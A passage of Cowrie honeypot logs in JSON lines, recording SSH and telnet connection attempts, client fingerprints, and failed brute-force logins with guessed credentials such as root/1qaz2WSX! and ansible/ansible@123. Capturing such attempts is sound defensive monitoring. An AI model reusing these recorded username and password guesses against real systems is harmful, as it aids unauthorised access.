ha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:05.439882Z","src_ip":"80.94.92.182","session":"6ff53dccb48c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opadmin","password":"opadmin","message":"login attempt [opadmin/opadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:06.767124Z","src_ip":"80.94.92.182","session":"6ff53dccb48c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:08.032126Z","src_ip":"80.94.92.182","session":"6ff53dccb48c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":59058,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95c9e2a1b4a","protocol":"telnet","message":"New connection: 139.162.207.207:59058 (10.17.0.5:23) [session: d95c9e2a1b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:29.712571Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57462,"dst_ip":"159.203.135.109","dst_port":22,"session":"83d9a73095ce","protocol":"ssh","message":"New connection: 159.203.92.129:57462 (159.203.135.109:22) [session: 83d9a73095ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:47.632415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:47.637333Z","src_ip":"159.203.92.129","session":"83d9a73095ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:47.641963Z","src_ip":"159.203.92.129","session":"83d9a73095ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@12","message":"login attempt [ansible/ansible@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:47.654250Z","src_ip":"159.203.92.129","session":"83d9a73095ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:03:48.660531Z","src_ip":"159.203.92.129","session":"83d9a73095ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.590866565704346,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:08.303321Z","src_ip":"139.162.207.207","session":"d95c9e2a1b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37720,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd5231a20b8","protocol":"telnet","message":"New connection: 185.26.126.47:37720 (159.203.135.109:23) [session: 6fd5231a20b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:12.790565Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":54648,"dst_ip":"159.203.135.109","dst_port":22,"session":"337ccf0051d1","protocol":"ssh","message":"New connection: 37.143.61.130:54648 (159.203.135.109:22) [session: 337ccf0051d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:23.500500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:25.191995Z","src_ip":"37.143.61.130","session":"337ccf0051d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:25.396134Z","src_ip":"37.143.61.130","session":"337ccf0051d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX!","message":"login attempt [root/1qaz2WSX!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:28.290365Z","src_ip":"37.143.61.130","session":"337ccf0051d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:29.501717Z","src_ip":"37.143.61.130","session":"337ccf0051d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47526,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8ac25491689","protocol":"ssh","message":"New connection: 159.203.92.129:47526 (159.203.135.109:22) [session: f8ac25491689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:33.112188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:33.116752Z","src_ip":"159.203.92.129","session":"f8ac25491689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:33.121163Z","src_ip":"159.203.92.129","session":"f8ac25491689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@123","message":"login attempt [ansible/ansible@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:33.131216Z","src_ip":"159.203.92.129","session":"f8ac25491689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:34.138717Z","src_ip":"159.203.92.129","session":"f8ac25491689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.21575379371643,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:04:54.006218Z","src_ip":"185.26.126.47","session":"6fd5231a20b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52656,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5beb6bb12c","protocol":"ssh","message":"New connection: 159.203.92.129:52656 (159.203.135.109:22) [session: 1b5beb6bb12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:18.951602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:18.959464Z","src_ip":"159.203.92.129","session":"1b5beb6bb12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:18.964904Z","src_ip":"159.203.92.129","session":"1b5beb6bb12c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@1234","message":"login attempt [ansible/ansible@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:19.030745Z","src_ip":"159.203.92.129","session":"1b5beb6bb12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:20.037853Z","src_ip":"159.203.92.129","session":"1b5beb6bb12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":53906,"dst_ip":"10.17.0.5","dst_port":22,"session":"d60d22953791","protocol":"ssh","message":"New connection: 103.149.252.223:53906 (10.17.0.5:22) [session: d60d22953791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:37.759335Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:37.765781Z","src_ip":"103.149.252.223","session":"d60d22953791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:37.775975Z","src_ip":"103.149.252.223","session":"d60d22953791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53590,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3583452b0fb","protocol":"telnet","message":"New connection: 185.26.126.47:53590 (159.203.135.109:23) [session: d3583452b0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:50.574504Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":36770,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc90b1a6f0c","protocol":"ssh","message":"New connection: 80.94.92.182:36770 (10.17.0.5:22) [session: ccc90b1a6f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:58.794901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:58.901493Z","src_ip":"80.94.92.182","session":"ccc90b1a6f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:58.939349Z","src_ip":"80.94.92.182","session":"ccc90b1a6f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"psadmin","password":"psadmin","message":"login attempt [psadmin/psadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:05:59.806167Z","src_ip":"80.94.92.182","session":"ccc90b1a6f0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:01.092268Z","src_ip":"80.94.92.182","session":"ccc90b1a6f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40568,"dst_ip":"159.203.135.109","dst_port":22,"session":"d785d47bc68b","protocol":"ssh","message":"New connection: 159.203.92.129:40568 (159.203.135.109:22) [session: d785d47bc68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:04.424560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:04.431538Z","src_ip":"159.203.92.129","session":"d785d47bc68b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:04.437603Z","src_ip":"159.203.92.129","session":"d785d47bc68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@123456","message":"login attempt [ansible/ansible@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:04.457217Z","src_ip":"159.203.92.129","session":"d785d47bc68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:05.467534Z","src_ip":"159.203.92.129","session":"d785d47bc68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.66274428367615,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:30.237138Z","src_ip":"185.26.126.47","session":"d3583452b0fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":43568,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5ed5d928c09","protocol":"ssh","message":"New connection: 37.143.61.130:43568 (159.203.135.109:22) [session: f5ed5d928c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:42.694376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:42.699166Z","src_ip":"37.143.61.130","session":"f5ed5d928c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35372,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca2cd845883c","protocol":"telnet","message":"New connection: 139.162.207.207:35372 (10.17.0.5:23) [session: ca2cd845883c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:48.932043Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43672,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba6971bad202","protocol":"ssh","message":"New connection: 159.203.92.129:43672 (159.203.135.109:22) [session: ba6971bad202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:50.388242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:06:50.392694Z","src_ip":"159.203.92.129","session":"ba6971bad202","protocol":"ssh"}
